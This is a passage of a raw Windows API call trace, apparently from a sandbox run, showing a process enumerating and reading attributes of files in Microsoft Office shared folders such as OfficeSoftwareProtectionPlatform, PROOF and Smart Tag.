	[0050.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f2c8 | out: lpFileInformation=0x1274f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90)) returned 1
	[0050.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f318 | out: lpFileInformation=0x1274f318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90)) returned 1
	[0050.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x1274f368 | out: lpFileInformation=0x1274f368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1
	[0050.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.564] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f638 | out: lpFileInformation=0x1274f638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500)) returned 1
	[0050.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f688 | out: lpFileInformation=0x1274f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700)) returned 1
	[0050.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f6d8 | out: lpFileInformation=0x1274f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00)) returned 1
	[0050.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274f728 | out: lpFileInformation=0x1274f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60)) returned 1
	[0050.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274f778 | out: lpFileInformation=0x1274f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700)) returned 1
	[0050.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f7c8 | out: lpFileInformation=0x1274f7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10)) returned 1
	[0050.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), fInfoLevelId=0x0, lpFileInformation=0x1274f818 | out: lpFileInformation=0x1274f818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e)) returned 1
	[0050.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1274f868 | out: lpFileInformation=0x1274f868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e)) returned 1
	[0050.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), fInfoLevelId=0x0, lpFileInformation=0x1274f8b8 | out: lpFileInformation=0x1274f8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.570] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.570] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1
	[0050.570] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1
	[0050.570] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1
	[0050.570] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1
	[0050.570] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.570] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fa48 | out: lpFileInformation=0x1274fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540)) returned 1
	[0050.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), fInfoLevelId=0x0, lpFileInformation=0x1274fa98 | out: lpFileInformation=0x1274fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b)) returned 1
	[0050.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), fInfoLevelId=0x0, lpFileInformation=0x1274fae8 | out: lpFileInformation=0x1274fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983)) returned 1
	[0050.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), fInfoLevelId=0x0, lpFileInformation=0x1274fb38 | out: lpFileInformation=0x1274fb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef)) returned 1
	[0050.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), fInfoLevelId=0x0, lpFileInformation=0x1274fb88 | out: lpFileInformation=0x1274fb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1
